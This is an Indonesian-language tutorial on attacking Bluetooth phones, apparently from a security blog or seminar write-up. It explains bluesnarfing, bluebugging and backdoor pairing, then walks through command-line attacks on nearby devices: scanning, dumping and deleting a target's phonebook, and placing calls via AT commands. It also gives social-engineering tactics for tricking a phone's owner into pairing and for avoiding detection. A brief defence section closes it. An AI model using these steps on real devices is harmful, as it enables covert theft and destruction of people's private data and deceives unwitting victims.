Pengantar
Bluetooth adalah salah satu teknologi pengganti kabel yang mengkonsumsi sedikit tenaga listrik, memiliki harga yang relatif murah, berjarak relatif pendek (10-100m), dan dapat digunakan untuk pertukaran data dan suara. Riset tentang teknologi "bluetooth" yang telah dilakukan oleh ericsson(tm) pada tahun 1998 telah memberikan dampak yang cukup besar pada teknologi "pengganti kabel" atau yang lebih sering aku kenal dengan "wireless technology".
Riset ini Kemudian dilanjutkan oleh sebuah grup yang menamakan dirinya Special Interest Group dengan "codename" bluetooth dan telah di dukung oleh banyak perusahaan besar yang berkepentingan dengan teknologi ini. Sehingga pada tahun 1999 dikeluarkanlah versi pertama (bluetooth ver 1.0) dan versi yang sekarang digunakan adalah versi 2.0 (merupakan ver 1.2 ditambah EDR). Teknologi bluetooth sampai saat ini tetap dipakai dan di kembangkan pada kurang lebih 856 produk[3].
Why attacking bluetooth ?
1. Bluetooth dipakai pada peralatan pribadi yang umumnya menyimpan informasi penting yang bersifat pribadi juga dan menjadikannya sebagai target yang berharga bagi penyerang.
2. Untuk menyerang device bluetooh penyerang tidak perlu untuk melewati Lapisan firewall, policy, third party security application, IDS/IPS.
3. Bisa ditemukan dibanyak tempat di karenakan layanan ini di pakai dibanyak "device".
Technical Details
- Menggunakan frekuensi 2,4GHz
- 79 channel, dengan lompatan frekuensi 1600 hops/second
- Menggunakan "single chip radio" sehingga harganya relatif murah
- Memiliki "range" 10-100 Meter
- Menggunakan 2.5 mW
- Memiliki Data Rate 1Mbps
Bluetooth Mode
1. Service mode
a. mode menyala ("on" mode ). Untuk mode "on" terdapat mode "discoverable" dan "un-discoverable", dimana pada saat discoverable "device" akan dapat dan untuk di temukan oleh "device" lain. Sedangkan un-discoverable mode mengakibatkan secara umum tidak dapat di temukan oleh "device" lain.
b. mode tidak menyala ( "off" mode ). Layanan bluetooth mati pada mode ini
c. mode otomatis ( "automatic" mode ). Layanan ini akan memudahkan aplikasi untuk menggunakan layanan bluetooth
2. Security mode
a. Security mode level 1. Tidak ada mode sekuriti sama sekali
b. Security mode level 2. Sekuriti terdapat pada level "service", tetapi pada level "device" tidak ada.
c. Security mode level 3
Bluetooth Security threat
1. Bluejacking
Teknik ini dilakukan dengan cara mengirimkan pesan/gambar/nomer telpon tanpa ijin kepada target, tujuannya adalah mulai dari perbuatan iseng sampai pada "social engineering" untuk memancing target melakukan pairing kepada "device" penyerang.
2. Bluesnarfing
Teknik ini mengijinkan penyerang untuk terhubung ke "device" milik target tanpa diketahui pemiliknya dan akan mengakibatkan penyerang dapat mengakses data data penting yang tersimpan didalam "device" target seperti daftar nomer telepon (buku telepon), "business card", "images" bahkan IMEI (International Mobile Equipment Identity ) yang dapat mengakibatkan nomer tersebut untuk di "clonning".
3. BlueBugging
Teknik ini mengakibatkan "device" target dan penyerang terhubung secara serial dan mengakibatkan penyerang memiliki kendali penuh terhadap "device" target sehingga penyerang juga dapat mengeksekusi set perintah AT (ASCII Terminal) diantaranya untuk melakukan panggilan, mengirim dan membaca SMS, melakukan koneksi jaringan bahkan internet melalui "device" target sampai kepada "identity theft".
4. BlueSmack
Teknik ini melakukan serangan Denial Of Service terhadap device target, salah satu caranya adalah memanfaatkan perintah l2ping pada protokol L2CAP.
5. Backdoor Attack
Teknik ini adalah dengan memanfaatkan "pairing" yang telah tercipta antara "device" target dan penyerang. Memanfaatkan Kelengahan Target dan Teknik social engineering.
Basic Penetration
Berikut akan contoh penetrasi mendasar terhadap bluetooth sekuriti, dengan harapan akan memberikan pemahaman mendalam tentang ini.
Info
Target :
Penyerang : Toshiba tecra 8100
Linux Ubuntu 5.10 Operating system
USB bluetooth dongle with Bluez
Tools : Bluesnarfer, Bluez-utils, RedFang
Preparation
Sekarang lakukan checking terhadap bluetooth device (USB dongle) menggunakan hciconfig (packet Bluez)
//--- command ----//
y3dips@hogwartz:~$ hciconfig -a hci0
hci0: Type: USB
BD Address: 00:09:DD:10:4E:B1 ACL MTU: 192:8 SCO MTU: 64:8
UP RUNNING PSCAN ISCAN
RX bytes:394 acl:0 sco:0 events:18 errors:0
TX bytes:319 acl:0 sco:0 commands:17 errors:0
Features: 0xff 0xff 0x0f 0x00 0x00 0x00 0x00 0x00
Packet type: DM1 DM3 DM5 DH1 DH3 DH5 HV1 HV2 HV3
Link policy:
Link mode: SLAVE ACCEPT
Name: 'hogwartz-0'
Class: 0x3e0100
Service Classes: Networking, Rendering, Capturing
"device" Class: Computer, Uncategorized
HCI Ver: 1.1 (0x1) HCI Rev: 0x460 LMP Ver: 1.1 (0x1) LMP Subver: 0x460
Manufacturer:
//--- command ----//
didapatkan beberapa informasi penting, diantaranya:
1. Type: USB
2. BD Address: 00:09:DD:10:4E:B1
3. Service Classes: Networking, Rendering, Capturing
Baiklah, ternyata "device" berjalan baik dan dikenali oleh system.
Scanning
Setelah semua persiapan berjalan dengan baik maka selanjutnya adalah menemukan target, untuk mendeteksi layanan bluetooth yang aktif (mode menyala) dan juga "discoverable", aku hanya menggunakan hcitool (paket Bluez)
//--- command ----//
y3dips@hogwartz:~$ hcitool scan
Scanning ...
00:0A:D9:49:B6:8B T68i
00:0C:55:FF:F3:B6 heaven-0
00:D5:F9:33:B6:A4 dodlesvck
00:60:57:44:56:B3 6310i
//--- command ----//
Yupe, ditemukan ada 4 buah "device"yang mengaktifkan layanan bluetoothnya. Putuskan untuk bereksplorasi satu persatu, untuk itu aku putuskan akan melakukan penetrasi sesuai urutan :)
Selanjutnya adalah melakukan perkenalan lebih jauh dengan "device" tersebut, dan untuk ini digunakanlah sdptool (paket bluez) untuk melakukan browsing dan secara spesifik tambahkan options "grep" khusus untuk menemukan service apa saja yang di layani oleh "device" tersebut, "device" akan di kenali dengan alamat bluetooth. Dalam hal ini untuk "device" pertama adalah 00:0A:D9:49:B6:8B
//--- command ----//
y3dips@hogwartz:~$ sdptool browse 00:0A:D9:49:B6:8B | grep Service\ Name
Service Name: Dial-up Networking
Service Name: Fax
Service Name: Voice gateway
Service Name:
Service Name:
Service Name: OBEX Object Push
Service Name: IrMC Synchronization
Service Name: Voice gateway
//--- command ----//
Dan kita dapatkan bahwa device tersebut memberikan service Dial-up Networking, Fax, Voice Gateway,
Untuk melakukan cek hubungan dengan device maka kita dapat melakukan ping.
//--- command ----//
y3dips@hogwartz:~$ sudo l2ping 00:0A:D9:49:B6:8B
0 bytes from 00:0A:D9:49:B6:8B id 0 time 46.69ms
0 bytes from 00:0A:D9:49:B6:8B id 1 time 31.24ms
0 bytes from 00:0A:D9:49:B6:8B id 2 time 37.95ms
0 bytes from 00:0A:D9:49:B6:8B id 3 time 33.01ms
0 bytes from 00:0A:D9:49:B6:8B id 4 time 48.04ms
5 sent, 5 received, 0% loss
//--- command ----//
Owning
Setelah melakukan Scanning dan mendapatkan alamat target dan informasi mengenai service yang dilayani oleh device tersebut maka selanjutnya kita akan melakukan "snarfing" terhadap bluetooth device (Bluesnarfing).
Salah satu serangan yang mungkin adalah membaca buku telepon dari device dengan menggunakan bluesnarfer.
//--- command ----//
y3dips@hogwartz:~/bt/snarf$ sudo ./bluesnarfer -b 00:0A:D9:49:B6:8B -r 1-10
"device" name: T68i
+ 1 - My Sephia /M : 08883535266
+ 3 - Mbah Marijan/W : 021454545
+ 5 - Osama Laden/W : 662224258
+ 7 - Warung Pecel Bu Roso/W : 0214545889
+ 9 - Superman/W : 911
bluesnarfer: release rfcomm ok
//--- command ----//
Selanjutnya kita juga dapat menghapus buku telepon
//--- command ----//
y3dips@hogwartz:~/bt/snarf$ sudo ./bluesnarfer -b 00:0A:D9:49:B6:8B -w 1-10
"device" name: T68i
delete of entry 1 successfull
delete of entry 2 successfull
delete of entry 3 successfull
delete of entry 4 successfull
delete of entry 5 successfull
delete of entry 6 successfull
delete of entry 7 successfull
delete of entry 8 successfull
delete of entry 9 successfull
delete of entry 10 successfull
bluesnarfer: release rfcomm ok
memeriksa apakah sudah terhapus
y3dips@hogwartz:~/bt/snarf$ sudo ./bluesnarfer -b 00:0A:D9:49:B6:8B -r 1-10
"device" name: T68i
bluesnarfer: release rfcomm ok
//--- command ----//
Selain itu aku akan mencoba melakukan Bluebugging dengan cara mengeksekusi perintah AT, dalam hal ini ATD (melakukan panggilan)
//--- command ----//
y3dips@hogwartz:~/bt/snarf$ sudo ./bluesnarfer -b 00:0A:D9:49:B6:8B -c 'ATD555;'
"device" name: T68i
custum cmd selected, raw output
OK
bluesnarfer: release rfcomm ok
y3dips@hogwartz:~/Desktop/bluetooth/pentest/snarf$
//--- command ----//
Tapi ingat, dengan melakukan panggilan ini maka akan tampak pada layar target bahwa sednag melakukan panggilan terhadap nomer tertentu. (Sehingga sebaiknya dalam melakukan panggilan pada saat target tidak berinteraksi langsung dengan device)
31337 Penetration
Backdooring
Teknik Backdooring ini bisa dilakukan dengan cara berinteraksi secara langsung ataupun tidak, teknik ini bertujuan membuat "device" target melakukan "pairing" dengan device penyerang. Social enggineering berperanan penting pada teknik ini.
Contoh:
a. Berinteraksi langsung
Seperti teknik social engineering yang pada umumnya dilakukan adalah dengan cara berinteraksi secara langsung dengan device target.
real life example:
Ingat, perubahan kartu SIM, menghidupkan dan mematikan Device tidak menghapus pairing yang telah terbuat, celah ini membuat aku berpura-pura kehabisan batere handphone dan meminjam handphone target untuk mengirim sms, agar target semakin yakin maka aku gunakan nomer yang aku miliki (agar lebih meyakinkan lagi maka sebiknya handphone kamu emang tidak bisa menyala), setelah itu cobalah lakukan pairing kedevice kamu, sebelum itu ada 2 hal yang harus aku lakukan
1. menentukan PIN untuk diisikan dari handphone target
//--- command ----//
root@hogwartz:~# echo "4321" > /etc/bluetooth/pin
//--- command ----//
2. Dan kamu perlu membaca syslog untuk mengetahui alamat target yang terhubung.
//--- command ----//
root@hogwartz:~# tail -f /var/log/syslog | grep hcid
Aug 21 20:25:30 localhost hcid[8880]: pin_code_request \
sba=00:09:DD:10:4E:B1, dba=00:0A:D9:49:B6:8B)
//--- command ----//
dan sekarang aku tinggal matikan handphone dan tukar kartu SIM kembali, selanjutnya tinggal bereksplorasi di "device" target.
b. Berinteraksi Tidak langsung
Cara kedua ini dikombinasikan dengan teknik BlueJacking, pada cara ini hanya perlu mengirimkan gambar/text/lagu/ atau apapun ke device target sehingga target akan melakukan cek terhadap info device pengirim yang tampil pada "device" target dan jika target berniat menerima gambar/text/lagu/ tersebut maka dia harus melakukan pairing dan perlu memasukan sebaris PIN.
(nama device; yang bisa di definisikan pada deviceku), Karena karakter di beberapa "device", jumlah karakter tidak dibatasi maka memungkinkan kita untuk menuliskan sebaris kalimat yang "membujuk" (inti social engineering) seperti "FOTO NADINE NIH?" atau "UNTUK MENERIMA KETIKKAN 4321". Selanjutnya tinggal tunggu hasil pairing kita J.
Detecting the undetected
Baiklah, sekarang bagaimana kalau "device" tersebut tidak di set discoverable sehingga kesulitan mendapatkan alamat device, dan tidak mungkin meminjam handphone ("device") target karena satu dan lain hal (pelit mungkin:P). Beruntunglah ada satu tools yang dipublikasikan dengan nama "redfang" dan mampu mendeteksi "device" bluetooth yang menyalakan layanannya tetapi tidak di set discoverable.
//--- command ----//
y3dips@hogwartz:~/bt/fang$ sudo ./redfang -r 000AD949B689-000AD949B68D
redfang - the bluetooth hunter ver 2.5
(c)2003 @stake Inc
author: Ollie Whitehouse
enhanced: threads by Simon Halsall
enhanced: "device" info discovery by Stephen Kapp
Scanning 5 address(es)
Address range 00:0a:d9:49:b6:89 -> 00:0a:d9:49:b6:8d
Found: T68i [00:0a:d9:49:b6:8b]
Getting "device" Information.. Failed.
//--- command ----//
Akhirnya mendapatkan alamat target. :), salah satu kelemahannya adalah kecepatannya dalam menemukan adalah sangat lambat, gunakan options "-t" untuk meningkatkan waktu timeout dan mempercepat scanning. atau bisa melakukan "recursive execute". (automated ? -- in proggress)
Mitos dalam "bluetooth [in]security"
1. Matikan saja layanan Bluetoothnya niscaya akan aman
Mematikan layanan bluetooth ("off" mode) pada "device" tidaklah 100% akan membuat "device" aman. Serangan yang mungkin dilakukan adalah Social engginering dan Malicious program (virus, worm & trojan) yang dapat secara otomatis menyalakan layanan bluetooh ("on" mode) atau bahkan melakukan pairing/backdoor attack ke bluetooth "device". Jadi perkuat device anda dengan firewall dan juga antivirus
2. Di Buat "[un]discoverable" akan aman
Lihat bagian 31337 penetration pada bagian kedua Detecting the undetected
3. Tidak ada informasi penting di bluetooth "device"
Salah, ambil contoh "mobile "device" (phone, smart phone, laptop)" Hampir seluruh data penting tersimpan, misalkan mobile phone, disana terdapat seluruh nomer nomer yang penting bagi anda meskipun anda tidak termasuk orang penting :P.
4. Jaraknya pendek
Jarak bluetooth device umumnya pendek 10-100 Meter, tetapi dengan adanya teknik untuk memperkuat signal[6] maka jangkauan pun bisa di perjauh bahkan sampai 1 km.
5. Penyerangnya pasti akan tampak "aneh" dan "mencurigakan" [karena membawa-bawa laptop dan bluetooth device yang di modifikasi (perkuat sinyal)?]
Tidak juga, bahkan sekarang via mobile phone/PDA (java supported) bisa melakukan "assessment"[2].
Bertahan ?
- Update informasi anda tentang "device" anda (khususnya soal security)
- Update Frimware anda, jikalau termasuk "device" yang di curigai
- Periksa daftar "trusted Pair", hapus yang sudah tidak dibutuhkan, hindari backdoor attack
- Gunakan Fitur keamanan tambahan (eg: Antivirus, Firewall)
- Untuk meminimalisir serangan matikan layanan bluetooth anda jika tidak digunakan
- Jikapun dibutuhkan, buatlah PIN yang relatif kuat.
- Pastikan untuk tidak sembarangan melakukan koneksi/pairing (eg: terima file dari "unknown device")
Clue
Sebagian handphone memiliki celah terserang teknik bluesnarfing ataupun bluebug saat visible (discoverable) dan sebagian lainnya non-visible (non-discoverable), sementara beberapa jenis lainnya tidak vulnerable kecuali dengan menggunakan backdoor attack dan teknik bluejacking (Social engineering)
Kamus
Pairing adalah suatu bagian (state) yang dilakukan apabila dua buah "device" setuju untuk berkomunikasi satu sama lainnya, setelah state ini terjadi maka apabila ingin terjadi komunikasi ulang maka akan membypass proses pencarian (discovery) dan otentikasi (authentication) yang biasa terjadi pada saat interaksi.
Referensi
- y3dips, "Owned a mobile "device" via bluetooth", dipresentasikan dan didemokan pada "Cryptography and Wireless security seminar", 2006
- Trifinite official site`s. http://trifinite.org
- SIG. http://bluetooth.org
- http://thebunker.net
- wikipedia. http://en.wikipedia.org
- bluesniper. http://www.tomsnetworking.com/2005/03/08/how_to_bluesniper_pt1/